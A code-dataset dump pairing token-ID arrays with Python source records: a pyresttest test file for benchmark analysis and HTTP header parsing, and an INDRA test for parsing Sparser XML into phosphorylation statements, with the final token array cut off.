[ 1, 396, 29991, 847, 4855, 29914, 2109, 29914, 6272, 3017, 13, 15945, 29908, 9527, 1923, 29889, 13, 13, 4591, 278, 1899, 29899, 1220, 372, 29915, 29879, 6775, 304, 671, 13927, 4262, 2974, 29889, 2272, 2012, 310, 445, 29889, 13, 15945, 29908, 13, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 29892, 8380, 29918, 5215, 13, 13, 5215, 2897, 29892, 10876, 13, 13, 16320, 3919, 9464, 353, 2897, 29889, 2084, 29889, 25721, 29898, 359, 29889, 2084, 29889, 25721, 29898, 359, 29889, 2084, 29889, 370, 1028, 493, 22168, 1445, 1649, 4961, 13, 13, 29937, 1207, 8329, 29894, 15580, 1053, 519, 13, 9675, 29889, 2084, 29889, 7851, 29898, 29900, 29892, 349, 1718, 3919, 9464, 29897, 13, 13, 3166, 8329, 29894, 15580, 1053, 10191, 4984, 13, 2202, 29901, 13, 1678, 515, 274, 1231, 5971, 1053, 1714, 5971, 13, 19499, 16032, 2392, 29901, 13, 1678, 515, 12013, 1053, 1714, 5971, 13, 13, 2202, 29901, 13, 1678, 1053, 3244, 13, 19499, 16032, 2392, 29901, 13, 1678, 1053, 903, 7097, 408, 3244, 13, 13, 1990, 5656, 29898, 3318, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 12013, 1125, 13, 4706, 1583, 29889, 601, 353, 12013, 13, 4706, 1583, 29889, 4990, 353, 6213, 13, 13, 1678, 822, 1065, 29898, 1311, 29892, 871, 29918, 650, 29918, 4262, 29922, 8824, 1125, 13, 4706, 396, 4480, 363, 278, 315, 4345, 29954, 29918, 26019, 2643, 13, 4706, 10191, 353, 1583, 29889, 601, 29889, 3757, 29894, 7645, 580, 13, 4706, 565, 10191, 29961, 29900, 29962, 2804, 10191, 4984, 29889, 29907, 4345, 29954, 29918, 26019, 470, 10191, 29961, 29896, 29962, 2804, 10191, 4984, 29889, 1529, 29954, 2965, 29901, 13, 9651, 12020, 7865, 2392, 703, 12313, 341, 10051, 2965, 1353, 1159, 13, 4706, 396, 1889, 7191, 2745, 591, 505, 263, 22028, 2479, 13, 4706, 1550, 1583, 29889, 4990, 338, 6213, 29901, 13, 9651, 1583, 29889, 5014, 29918, 4622, 29918, 4906, 580, 13, 4706, 396, 1369, 263, 3239, 3244, 304, 1889, 4340, 7191, 13, 4706, 565, 451, 871, 29918, 650, 29918, 4262, 29901, 13, 9651, 3244, 29889, 2962, 29918, 1482, 29918, 7097, 29898, 1311, 29889, 5014, 29918, 497, 29918, 19158, 29892, 313, 876, 13, 4706, 396, 2367, 2761, 304, 22028, 13, 4706, 1583, 29889, 4990, 29889, 3389, 29896, 580, 13, 13, 1678, 822, 1889, 29918, 497, 29918, 19158, 29898, 1311, 1125, 13, 4706, 1018, 29901, 13, 9651, 1550, 5852, 29901, 13, 18884, 1583, 29889, 5014, 29918, 4622, 29918, 4906, 580, 13, 4706, 5174, 382, 9800, 2392, 29901, 13, 9651, 515, 8329, 29894, 15580, 29889, 4012, 4262, 1053, 2479, 29918, 12674, 29918, 28358, 13, 9651, 2479, 29918, 12674, 29918, 28358, 580, 13, 13, 1678, 822, 1889, 29918, 4622, 29918, 4906, 29898, 1311, 1125, 13, 4706, 10191, 353, 1583, 29889, 601, 29889, 3757, 29894, 7645, 580, 13, 4706, 7876, 353, 1583, 29889, 2303, 1799, 10461, 29903, 29889, 657, 29898, 7645, 29961, 29900, 2314, 13, 4706, 565, 7876, 29901, 13, 9651, 7876, 29898, 1311, 29892, 334, 7645, 29961, 29896, 29901, 2314, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 1188, 703, 26690, 2643, 775, 1273, 29878, 29908, 1273, 313, 7645, 29961, 29900, 1402, 876, 13, 13, 1678, 822, 1480, 29898, 1311, 29892, 5235, 1125, 13, 4706, 1596, 29898, 3888, 29892, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 13, 1678, 822, 731, 2680, 29898, 1311, 29892, 5912, 1125, 13, 4706, 565, 1583, 29889, 4990, 338, 6213, 29901, 13, 9651, 396, 1207, 278, 2847, 2479, 13, 9651, 515, 8329, 29894, 15580, 29889, 4262, 4990, 1053, 12367, 9323, 13, 9651, 1583, 29889, 4990, 353, 12367, 9323, 29898, 2680, 29897, 13, 4706, 1683, 29901, 13, 9651, 396, 3638, 385, 7465, 1899, 304, 278, 2479, 2734, 278, 1667, 3244, 13, 9651, 515, 8329, 29894, 15580, 29889, 4012, 4262, 1053, 2479, 29918, 12674, 29918, 9006, 13, 9651, 2479, 29918, 12674, 29918, 9006, 29898, 2680, 29922, 2680, 29897, 13, 13, 1678, 822, 274, 7645, 29918, 2962, 29918, 4262, 29898, 1311, 29892, 3983, 29918, 333, 29892, 6287, 29892, 2920, 29892, 3171, 29892, 334, 5060, 1125, 13, 4706, 515, 8329, 29894, 15580, 29889, 4012, 4262, 1053, 12367, 3453, 13, 4706, 1583, 29889, 1482, 2680, 353, 12367, 3453, 29898, 7411, 29898, 7052, 511, 5785, 29898, 2103, 511, 5785, 29898, 3545, 876, 13, 13, 4706, 822, 2009, 29918, 28120, 7295, 13, 9651, 1583, 29889, 601, 29889, 6717, 7645, 29898, 7645, 4984, 29889, 4345, 29954, 29918, 1525, 29428, 29892, 3983, 29918, 333, 29897, 13, 4706, 822, 2009, 29918, 23031, 2324, 29898, 1742, 1125, 13, 9651, 1583, 29889, 601, 29889, 6717, 7645, 29898, 7645, 4984, 29889, 4345, 29954, 29918, 5800, 2208, 9806, 29918, 23714, 29968, 29892, 3983, 29918, 333, 29892, 1734, 29897, 13, 13, 4706, 1583, 29889, 1482, 2680, 29889, 3827, 29918, 28120, 353, 2009, 29918, 28120, 13, 4706, 1583, 29889, 1482, 2680, 29889, 3827, 29918, 23031, 2324, 353, 2009, 29918, 23031, 2324, 13, 13, 1678, 822, 274, 7645, 29918, 1202, 29918, 3177, 29898, 1311, 29892, 334, 5085, 1125, 13, 4706, 1583, 29889, 1482, 2680, 29889, 1202, 29918, 3177, 10456, 5085, 29897, 13, 13, 1678, 822, 274, 7645, 29918, 1202, 29918, 12864, 29898, 1311, 29892, 334, 5085, 1125, 13, 4706, 1583, 29889, 1482, 2680, 29889, 1202, 29918, 12864, 10456, 5085, 29897, 13, 13, 1678, 822, 274, 7645, 29918, 1202, 29918, 2324, 29898, 1311, 29892, 1734, 29892, 334, 3888, 1125, 13, 4706, 565, 7431, 29898, 3888, 29897, 1275, 29871, 29896, 29901, 13, 9651, 5235, 353, 5235, 29961, 29900, 29962, 13, 4706, 25342, 7431, 29898, 3888, 29897, 6736, 29871, 29946, 29901, 13, 9651, 5235, 353, 313, 3888, 29961, 29900, 1402, 5235, 29961, 29896, 29901, 29946, 2314, 13, 4706, 1583, 29889, 1482, 2680, 29889, 4965, 29961, 1742, 29962, 353, 5235, 13, 13, 1678, 822, 274, 7645, 29918, 20227, 29918, 5657, 29898, 1311, 29892, 334, 5060, 1125, 13, 4706, 1583, 29889, 1482, 2680, 29889, 20227, 5657, 353, 5852, 13, 13, 1678, 822, 274, 7645, 29918, 9847, 29918, 4262, 29898, 1311, 29892, 334, 5060, 1125, 13, 4706, 1583, 29889, 842, 2680, 29898, 1311, 29889, 1482, 2680, 29897, 13, 4706, 628, 1583, 29889, 1482, 2680, 13, 4706, 1583, 29889, 601, 29889, 6717, 7645, 29898, 7645, 4984, 29889, 4345, 29954, 29918, 8949, 29897, 13, 13, 1678, 822, 274, 7645, 29918, 27259, 29918, 2324, 29898, 1311, 29892, 334, 5060, 1125, 13, 4706, 1583, 29889, 842, 2680, 29898, 8516, 29897, 13, 13, 1678, 822, 274, 7645, 29918, 20834, 29898, 1311, 29892, 4589, 7645, 29892, 334, 5060, 1125, 13, 4706, 515, 4216, 4262, 1053, 2479, 29918, 12674, 29918, 9006, 13, 4706, 2479, 29918, 12674, 29918, 9006, 29898, 20834, 29922, 3127, 7645, 29897, 13, 13, 1678, 22986, 1799, 10461, 29903, 353, 426, 13, 4706, 10191, 4984, 29889, 29907, 4345, 29954, 29918, 25826, 29918, 14345, 3301, 29950, 29901, 274, 7645, 29918, 2962, 29918, 4262, 29892, 13, 4706, 10191, 4984, 29889, 29907, 4345, 29954, 29918, 17744, 29918, 6632, 2287, 29901, 1678, 274, 7645, 29918, 1202, 29918, 3177, 29892, 13, 4706, 10191, 4984, 29889, 29907, 4345, 29954, 29918, 17744, 29918, 3352, 1692, 29901, 1678, 274, 7645, 29918, 1202, 29918, 12864, 29892, 13, 4706, 10191, 4984, 29889, 29907, 4345, 29954, 29918, 17744, 29918, 23714, 29968, 29901, 1678, 274, 7645, 29918, 1202, 29918, 2324, 29892, 13, 4706, 10191, 4984, 29889, 29907, 4345, 29954, 29918, 25634, 3352, 29918, 29943, 1164, 29911, 29901, 29871, 274, 7645, 29918, 20227, 29918, 5657, 29892, 13, 4706, 10191, 4984, 29889, 29907, 4345, 29954, 29918, 1254, 4590, 29918, 14345, 3301, 29950, 29901, 29871, 274, 7645, 29918, 9847, 29918, 4262, 29892, 13, 4706, 10191, 4984, 29889, 29907, 4345, 29954, 29918, 10403, 1799, 4214, 29918, 23714, 29968, 29901, 29883, 7645, 29918, 27259, 29918, 2324, 29892, 13, 4706, 10191, 4984, 29889, 29907, 4345, 29954, 29918, 8132, 29979, 29901, 308, 274, 7645, 29918, 20834, 29892, 13, 4706, 500, 13, 13, 13, 1753, 11621, 29918, 2974, 29898, 2997, 29918, 7328, 29892, 269, 29896, 29922, 8516, 1125, 13, 1678, 1053, 9909, 29892, 3983, 4645, 29892, 3244, 13, 1678, 565, 338, 8758, 29898, 2997, 29918, 7328, 29892, 851, 1125, 13, 4706, 565, 525, 11283, 297, 1887, 29918, 7328, 29901, 13, 9651, 5067, 29892, 2011, 353, 1887, 29918, 7328, 29889, 5451, 877, 29901, 1495, 13, 4706, 1683, 29901, 13, 9651, 5067, 29892, 2011, 353, 15516, 1887, 29918, 7328, 13, 4706, 1887, 29918, 7328, 353, 5067, 29892, 938, 29898, 637, 29897, 13, 1678, 565, 269, 29896, 338, 6213, 29901, 13, 4706, 269, 29896, 353, 9909, 29889, 11514, 580, 13, 4706, 269, 29896, 29889, 5355, 29898, 2997, 29918, 7328, 29897, 13, 1678, 269, 29896, 29889, 20631, 29898, 29945, 29897, 13, 1678, 1596, 877, 1761, 8333, 373, 1273, 29878, 856, 29915, 1273, 313, 29879, 29896, 29889, 657, 21852, 978, 3285, 876, 13, 1678, 1550, 5852, 29901, 13, 4706, 11009, 29892, 28915, 353, 269, 29896, 29889, 16044, 580, 13, 4706, 1596, 877, 16044, 287, 3957, 515, 1273, 29878, 29915, 1273, 313, 10030, 29892, 876, 13, 4706, 577, 384, 29918, 601, 353, 10191, 4984, 29889, 11373, 5971, 29898, 13082, 29897, 13, 4706, 7834, 29918, 601, 353, 3983, 4645, 29889, 1028, 18101, 29918, 2997, 29918, 13789, 580, 13, 4706, 3244, 29889, 2962, 29918, 1482, 29918, 7097, 29898, 8552, 29918, 497, 29892, 313, 21852, 29918, 601, 29892, 7834, 29918, 601, 876, 13, 4706, 3244, 29889, 2962, 29918, 1482, 29918, 7097, 29898, 8552, 29918, 497, 29892, 313, 13789, 29918, 601, 29892, 577, 384, 29918, 601, 876, 13, 4706, 628, 577, 384, 29918, 601, 29892, 7834, 29918, 601, 29892, 11009, 13, 13, 1753, 3509, 29918, 497, 29898, 601, 29896, 29892, 12013, 29906, 1125, 13, 1678, 1018, 29901, 13, 4706, 1550, 5852, 29901, 13, 9651, 12013, 29906, 29889, 6717, 497, 29898, 601, 29896, 29889, 3757, 29894, 3101, 13, 1678, 5174, 382, 9800, 2392, 29901, 13, 4706, 12013, 29906, 29889, 5358, 29918, 29879, 2548, 580, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 565, 7431, 29898, 9675, 29889, 19218, 29897, 2804, 29871, 29906, 29901, 13, 4706, 565, 7431, 29898, 9675, 29889, 19218, 29897, 1275, 29871, 29896, 29901, 13, 9651, 396, 1369, 12430, 13, 9651, 1053, 13927, 4262, 2974, 13, 9651, 13927, 4262, 2974, 29889, 15269, 29918, 4262, 29918, 2974, 18959, 16652, 1964, 11287, 13, 9651, 10876, 29889, 13322, 29898, 29900, 29897, 13, 4706, 1596, 22168, 1514, 1649, 29892, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 10876, 29889, 13322, 29898, 29906, 29897, 13, 1678, 565, 10876, 29889, 19218, 29961, 29896, 29962, 1275, 525, 489, 23656, 2396, 13, 4706, 396, 263, 697, 29899, 8962, 1923, 2734, 373, 3659, 262, 29914, 25393, 13, 4706, 12013, 353, 10191, 4984, 29889, 2283, 5971, 29898, 657, 5552, 29898, 9675, 29889, 4172, 262, 29892, 525, 9040, 742, 10876, 29889, 4172, 262, 511, 13, 462, 795, 679, 5552, 29898, 9675, 29889, 25393, 29892, 525, 9040, 742, 10876, 29889, 25393, 876, 13, 4706, 269, 15291, 353, 5656, 29898, 601, 29897, 13, 4706, 1018, 29901, 13, 9651, 269, 15291, 29889, 3389, 580, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1053, 9637, 1627, 13, 9651, 285, 353, 1714, 5971, 580, 13, 9651, 9637, 1627, 29889, 2158, 29918, 735, 29883, 29898, 1445, 29922, 29888, 29897, 13, 9651, 396, 1018, 304, 788, 777, 7309, 800, 13, 9651, 1371, 353, 4852, 891, 565, 366, 864, 304, 4744, 373, 263, 7592, 4933, 29892, 1074, 29905, 29876, 29908, 13, 462, 1678, 376, 891, 11994, 297, 8329, 29894, 15580, 29914, 15269, 4262, 2974, 29889, 2272, 29905, 29876, 1159, 13, 9651, 1018, 29901, 13, 18884, 2897, 29889, 21813, 1839, 20055, 12739, 2303, 29918, 29950, 22027, 29918, 29903, 4897, 15082, 29918, 29925, 3491, 7982, 2033, 353, 376, 11458, 29908, 13, 18884, 1053, 22028, 13, 18884, 565, 338, 8758, 29898, 29872, 29892, 22028, 29889, 2704, 1125, 13, 462, 1678, 1596, 29898, 8477, 29892, 934, 29922, 29888, 29897, 13, 9651, 5174, 8960, 408, 321, 29901, 13, 18884, 285, 29889, 344, 1416, 29898, 29900, 29897, 13, 18884, 285, 29889, 509, 4661, 403, 580, 13, 18884, 1596, 11702, 29879, 29901, 1273, 29879, 29908, 1273, 313, 29872, 17255, 1990, 1649, 17255, 978, 1649, 29892, 321, 511, 934, 29922, 29888, 29897, 13, 18884, 1596, 703, 891, 349, 4790, 420, 338, 451, 5130, 29936, 2845, 2601, 372, 29892, 470, 613, 934, 29922, 29888, 29897, 13, 18884, 1596, 29898, 8477, 29892, 934, 29922, 29888, 29897, 13, 9651, 12013, 29889, 6717, 7645, 29898, 7645, 4984, 29889, 4345, 29954, 29918, 11432, 29892, 285, 29889, 657, 1767, 3101, 13, 1678, 1683, 29901, 13, 4706, 11621, 29918, 2974, 29898, 9675, 29889, 19218, 29961, 29896, 2314, 13, 2 ]
pyresttest/test_resttest.py
LGordon2/pyresttest
0
119279
import json import math import string import yaml import resttest import unittest from resttest import * class TestRestTest(unittest.TestCase): """ Tests to test overall REST testing framework, how meta is that? """ def test_analyze_benchmark(self): """ Test analyzing benchmarks to compute aggregates """ benchmark_result = BenchmarkResult() benchmark_config = Benchmark() benchmark_config.add_metric('request_size').add_metric('request_size','median') benchmark_config.add_metric('connect_time') benchmark_config.add_metric('total_time', 'mean_harmonic') benchmark_config.add_metric('total_time', 'std_deviation') benchmark_result.results = { 'connect_time': [1, 4, 7], 'request_size': [7, 8, 10], 'total_time': [0.5, 0.7, 0.9] } analyzed = analyze_benchmark_results(benchmark_result, benchmark_config) self.assertEqual(2, len(analyzed.results.keys())); # Check that number of measurements is sane distinct_metrics = set([x[0] for x in analyzed.aggregates]) distinct_aggregates = set([x[1] for x in analyzed.aggregates]) self.assertEqual(2, len(distinct_metrics)) self.assertEqual(3, len(distinct_aggregates)) self.assertEqual(3, len(analyzed.aggregates)) def test_metrics_to_tuples(self): """ Test method to build list(tuples) from raw metrics """ array1 = [-1, 5.6, 0] array2 = [3.2, -81, 800] array3 = [97, -3.4, 'cheese'] keys = sorted(['blah', 'foo', 'bar']) metrics = {keys[0]: array1, keys[1]: array2, keys[2]: array3} packed = metrics_to_tuples(metrics) headers = packed[0] # Check header generation for x in xrange(0, len(keys)): self.assertEqual(keys[x], headers[x]) # Check data was correctly converted to 2D format, in order of input for x in xrange(1, len(array1)+1): my_tuple = packed[x] self.assertEqual(array1[x-1], my_tuple[0]) self.assertEqual(array2[x-1], my_tuple[1]) self.assertEqual(array3[x-1], my_tuple[2]) def test_parse_headers(self): """ Basic header parsing tests """ headerstring = 'HTTP/1.1 200 OK\r\nDate: Mon, 29 Dec 2014 02:42:33 GMT\r\nExpires: -1\r\nCache-Control: private, max-age=0\r\nContent-Type: text/html; charset=ISO-8859-1\r\nX-XSS-Protection: 1; mode=block\r\nX-Frame-Options: SAMEORIGIN\r\nAlternate-Protocol: 80:quic,p=0.02\r\nTransfer-Encoding: chunked\r\n\r\n' header_dict = resttest.parse_headers(headerstring) self.assertTrue(isinstance(header_dict, dict)) self.assertEqual('-1', header_dict['expires']) self.assertEqual('private, max-age=0', header_dict['cache-control']) self.assertEqual(8, len(header_dict)) # Error cases # No headers result = resttest.parse_headers("") # Shouldn't throw exception self.assertTrue(isinstance(result, dict)) self.assertEqual(0, len(result)) # Just the HTTP prefix result = resttest.parse_headers('HTTP/1.1 200 OK\r\n\r\n') # Shouldn't throw exception self.assertTrue(isinstance(result, dict)) self.assertEqual(0, len(result)) if __name__ == '__main__': unittest.main()
[ 1, 1053, 4390, 13, 5215, 5844, 13, 5215, 1347, 13, 5215, 343, 8807, 13, 13, 5215, 1791, 1688, 13, 5215, 443, 27958, 13, 3166, 1791, 1688, 1053, 334, 13, 13, 1990, 4321, 15078, 3057, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 9995, 4321, 29879, 304, 1243, 12463, 16759, 6724, 6890, 29892, 920, 12700, 338, 393, 29973, 9995, 13, 13, 1678, 822, 1243, 29918, 24209, 911, 29918, 1785, 16580, 29898, 1311, 1125, 13, 4706, 9995, 4321, 29537, 292, 23513, 29879, 304, 10272, 11404, 1078, 9995, 13, 4706, 23513, 29918, 2914, 353, 4111, 16580, 3591, 580, 13, 4706, 23513, 29918, 2917, 353, 4111, 16580, 580, 13, 4706, 23513, 29918, 2917, 29889, 1202, 29918, 16414, 877, 3827, 29918, 2311, 2824, 1202, 29918, 16414, 877, 3827, 29918, 2311, 3788, 2168, 713, 1495, 13, 4706, 23513, 29918, 2917, 29889, 1202, 29918, 16414, 877, 6915, 29918, 2230, 1495, 13, 4706, 23513, 29918, 2917, 29889, 1202, 29918, 16414, 877, 7827, 29918, 2230, 742, 525, 12676, 29918, 23024, 8927, 1495, 13, 4706, 23513, 29918, 2917, 29889, 1202, 29918, 16414, 877, 7827, 29918, 2230, 742, 525, 4172, 29918, 311, 14641, 1495, 13, 13, 4706, 23513, 29918, 2914, 29889, 9902, 353, 426, 13, 9651, 525, 6915, 29918, 2230, 2396, 518, 29896, 29892, 29871, 29946, 29892, 29871, 29955, 1402, 13, 9651, 525, 3827, 29918, 2311, 2396, 518, 29955, 29892, 29871, 29947, 29892, 29871, 29896, 29900, 1402, 13, 9651, 525, 7827, 29918, 2230, 2396, 518, 29900, 29889, 29945, 29892, 29871, 29900, 29889, 29955, 29892, 29871, 29900, 29889, 29929, 29962, 13, 4706, 500, 13, 13, 4706, 29537, 287, 353, 27599, 29918, 1785, 16580, 29918, 9902, 29898, 1785, 16580, 29918, 2914, 29892, 23513, 29918, 2917, 29897, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29906, 29892, 7431, 29898, 7054, 12339, 287, 29889, 9902, 29889, 8149, 20465, 13, 13, 4706, 396, 5399, 393, 1353, 310, 20398, 338, 269, 1662, 13, 4706, 8359, 29918, 2527, 10817, 353, 731, 4197, 29916, 29961, 29900, 29962, 363, 921, 297, 29537, 287, 29889, 26193, 1078, 2314, 13, 4706, 8359, 29918, 26193, 1078, 353, 731, 4197, 29916, 29961, 29896, 29962, 363, 921, 297, 29537, 287, 29889, 26193, 1078, 2314, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29906, 29892, 7431, 29898, 5721, 5562, 29918, 2527, 10817, 876, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29941, 29892, 7431, 29898, 5721, 5562, 29918, 26193, 1078, 876, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29941, 29892, 7431, 29898, 7054, 12339, 287, 29889, 26193, 1078, 876, 13, 13, 1678, 822, 1243, 29918, 2527, 10817, 29918, 517, 29918, 9161, 2701, 29898, 1311, 1125, 13, 4706, 9995, 4321, 1158, 304, 2048, 1051, 29898, 9161, 2701, 29897, 515, 10650, 21556, 9995, 13, 4706, 1409, 29896, 353, 21069, 29896, 29892, 29871, 29945, 29889, 29953, 29892, 29871, 29900, 29962, 13, 4706, 1409, 29906, 353, 518, 29941, 29889, 29906, 29892, 448, 29947, 29896, 29892, 29871, 29947, 29900, 29900, 29962, 13, 4706, 1409, 29941, 353, 518, 29929, 29955, 29892, 448, 29941, 29889, 29946, 29892, 525, 1173, 968, 2033, 13, 4706, 6611, 353, 12705, 18959, 29844, 742, 525, 5431, 742, 525, 1646, 11287, 13, 4706, 21556, 353, 426, 8149, 29961, 29900, 5387, 1409, 29896, 29892, 6611, 29961, 29896, 5387, 1409, 29906, 29892, 6611, 29961, 29906, 5387, 1409, 29941, 29913, 13, 13, 4706, 4870, 287, 353, 21556, 29918, 517, 29918, 9161, 2701, 29898, 2527, 10817, 29897, 13, 4706, 9066, 353, 4870, 287, 29961, 29900, 29962, 13, 13, 4706, 396, 5399, 4839, 12623, 13, 4706, 363, 921, 297, 921, 3881, 29898, 29900, 29892, 7431, 29898, 8149, 22164, 13, 9651, 1583, 29889, 9294, 9843, 29898, 8149, 29961, 29916, 1402, 9066, 29961, 29916, 2314, 13, 13, 4706, 396, 5399, 848, 471, 5149, 11543, 304, 29871, 29906, 29928, 3402, 29892, 297, 1797, 310, 1881, 13, 4706, 363, 921, 297, 921, 3881, 29898, 29896, 29892, 7431, 29898, 2378, 29896, 7240, 29896, 1125, 13, 9651, 590, 29918, 23583, 353, 4870, 287, 29961, 29916, 29962, 13, 9651, 1583, 29889, 9294, 9843, 29898, 2378, 29896, 29961, 29916, 29899, 29896, 1402, 590, 29918, 23583, 29961, 29900, 2314, 13, 9651, 1583, 29889, 9294, 9843, 29898, 2378, 29906, 29961, 29916, 29899, 29896, 1402, 590, 29918, 23583, 29961, 29896, 2314, 13, 9651, 1583, 29889, 9294, 9843, 29898, 2378, 29941, 29961, 29916, 29899, 29896, 1402, 590, 29918, 23583, 29961, 29906, 2314, 13, 13, 13, 1678, 822, 1243, 29918, 5510, 29918, 13662, 29898, 1311, 1125, 13, 4706, 9995, 19219, 4839, 13755, 6987, 9995, 13, 4706, 4839, 1807, 353, 525, 10493, 29914, 29896, 29889, 29896, 29871, 29906, 29900, 29900, 9280, 29905, 29878, 29905, 29876, 2539, 29901, 2598, 29892, 29871, 29906, 29929, 3826, 29871, 29906, 29900, 29896, 29946, 29871, 29900, 29906, 29901, 29946, 29906, 29901, 29941, 29941, 402, 11490, 29905, 29878, 29905, 29876, 9544, 2658, 29901, 448, 29896, 29905, 29878, 29905, 29876, 10408, 29899, 4809, 29901, 2024, 29892, 4236, 29899, 482, 29922, 29900, 29905, 29878, 29905, 29876, 3916, 29899, 1542, 29901, 1426, 29914, 1420, 29936, 17425, 29922, 29096, 29899, 29947, 29947, 29945, 29929, 29899, 29896, 29905, 29878, 29905, 29876, 29990, 29899, 29990, 1799, 29899, 1184, 371, 428, 29901, 29871, 29896, 29936, 4464, 29922, 1271, 29905, 29878, 29905, 29876, 29990, 29899, 4308, 29899, 5856, 29901, 16698, 2303, 1955, 6259, 1177, 29905, 29878, 29905, 29876, 2499, 725, 403, 29899, 17830, 29901, 29871, 29947, 29900, 29901, 339, 293, 29892, 29886, 29922, 29900, 29889, 29900, 29906, 29905, 29878, 29905, 29876, 4300, 571, 29899, 14934, 29901, 19875, 287, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 29915, 13, 4706, 4839, 29918, 8977, 353, 1791, 1688, 29889, 5510, 29918, 13662, 29898, 6672, 1807, 29897, 13, 13, 4706, 1583, 29889, 9294, 5574, 29898, 275, 8758, 29898, 6672, 29918, 8977, 29892, 9657, 876, 13, 4706, 1583, 29889, 9294, 9843, 877, 29899, 29896, 742, 4839, 29918, 8977, 1839, 4548, 2658, 11287, 13, 4706, 1583, 29889, 9294, 9843, 877, 9053, 29892, 4236, 29899, 482, 29922, 29900, 742, 4839, 29918, 8977, 1839, 8173, 29899, 6451, 11287, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29947, 29892, 7431, 29898, 6672, 29918, 8977, 876, 13, 13, 4706, 396, 4829, 4251, 13, 4706, 396, 1939, 9066, 13, 4706, 1121, 353, 1791, 1688, 29889, 5510, 29918, 13662, 703, 1159, 29871, 396, 10575, 29876, 29915, 29873, 3183, 3682, 13, 4706, 1583, 29889, 9294, 5574, 29898, 275, 8758, 29898, 2914, 29892, 9657, 876, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29900, 29892, 7431, 29898, 2914, 876, 13, 13, 4706, 396, 3387, 278, 7331, 10944, 13, 4706, 1121, 353, 1791, 1688, 29889, 5510, 29918, 13662, 877, 10493, 29914, 29896, 29889, 29896, 29871, 29906, 29900, 29900, 9280, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 1495, 29871, 396, 10575, 29876, 29915, 29873, 3183, 3682, 13, 4706, 1583, 29889, 9294, 5574, 29898, 275, 8758, 29898, 2914, 29892, 9657, 876, 13, 4706, 1583, 29889, 9294, 9843, 29898, 29900, 29892, 7431, 29898, 2914, 876, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 443, 27958, 29889, 3396, 580, 2 ]
indra/tests/test_sparser.py
jmuhlich/indra
0
9447
<reponame>jmuhlich/indra from indra import sparser xml_str1 = ''' <article pmid="54321"> <interpretation> <sentence-text>MEK1 phosphorylates ERK1</sentence-text> <sem> <ref category="phosphorylate"> <var name="agent"> <ref category="protein"> <var name="name">MP2K1_HUMAN</var> <var name="uid">UP:MP2K1_HUMAN</var> </ref> </var> <var name="substrate"> <ref category="protein"> <var name="name">MK03_HUMAN</var> <var name="uid">UP:MK03_HUMAN</var> </ref> </var> <var name="present"><ref category="present"></ref></var> </ref> </sem> </interpretation> </article> ''' xml_str2 = ''' <article pmid="12345"> <interpretation> <sentence-text>Hence ASPP2 can be phosphorylated at serine 827 by MAPK1 in vitro</sentence-text> <sem> <ref category="phosphorylate"> <var name="subordinate-conjunction"> <ref category="subordinate-conjunction"><var name="word">hence</var></ref></var> <var name="substrate"> <ref category="protein"> <var name="name">ASPP2_HUMAN</var> <var name="uid">UP:ASPP2_HUMAN</var> </ref> </var> <var name="agent"> <ref category="protein"> <var name="context"> <ref category="in-vitro"></ref> </var> <var name="uid">UP:MK01_HUMAN</var> <var name="name">MK01_HUMAN</var> </ref> </var> <var name="site"> <ref category="residue-on-protein"> <var name="amino-acid"> <ref category="amino-acid"><var name="name">serine</var></ref> </var> <var name="position"> 827</var> </ref> </var> <var name="modal"><ref category="can"></ref></var> </ref> </sem> </interpretation> </article> ''' def test_invalid_xml(): sp = sparser.process_xml('xyz') assert(sp is None) def test_phosphorylation(): sp = sparser.process_xml(xml_str1) assert(len(sp.statements) == 1) assert(sp.statements[0].enz.name == 'MAP2K1') assert(sp.statements[0].sub.name == 'MAPK3') assert(len(sp.statements[0].evidence) == 1) ev = sp.statements[0].evidence[0] assert(ev.pmid == '54321') assert(ev.text) assert(ev.source_api == 'sparser') def test_phosphorylation2(): sp = sparser.process_xml(xml_str2) assert(len(sp.statements) == 1) assert(sp.statements[0].enz.name == 'MAPK1') assert(sp.statements[0].sub.name == 'TP53BP2') assert(sp.statements[0].residue == 'S') assert(sp.statements[0].position == '827') assert (len(sp.statements[0].evidence) == 1) ev = sp.statements[0].evidence[0] assert (ev.pmid == '12345') assert (ev.text) assert (ev.source_api == 'sparser')
[ 1, 529, 276, 1112, 420, 29958, 29926, 2589, 29882, 1470, 29914, 513, 336, 13, 3166, 1399, 336, 1053, 805, 279, 643, 13, 13, 3134, 29918, 710, 29896, 353, 14550, 13, 29966, 7914, 282, 6563, 543, 29945, 29946, 29941, 29906, 29896, 1013, 13, 529, 1639, 19819, 362, 29958, 13, 529, 18616, 663, 29899, 726, 29958, 2303, 29968, 29896, 1374, 25715, 706, 29880, 1078, 8982, 29968, 29896, 829, 18616, 663, 29899, 726, 29958, 13, 529, 12846, 29958, 13, 268, 529, 999, 7663, 543, 561, 25715, 706, 9632, 1013, 13, 308, 529, 1707, 1024, 543, 14748, 1013, 13, 308, 529, 999, 7663, 543, 14676, 262, 1013, 13, 632, 529, 1707, 1024, 543, 978, 1013, 3580, 29906, 29968, 29896, 29918, 29950, 29965, 27616, 829, 1707, 29958, 13, 632, 529, 1707, 1024, 543, 5416, 1013, 4897, 29901, 3580, 29906, 29968, 29896, 29918, 29950, 29965, 27616, 829, 1707, 29958, 13, 308, 1533, 999, 29958, 13, 308, 1533, 1707, 29958, 13, 308, 529, 1707, 1024, 543, 27790, 403, 1013, 13, 9651, 529, 999, 7663, 543, 14676, 262, 1013, 13, 18884, 529, 1707, 1024, 543, 978, 1013, 29924, 29968, 29900, 29941, 29918, 29950, 29965, 27616, 829, 1707, 29958, 13, 18884, 529, 1707, 1024, 543, 5416, 1013, 4897, 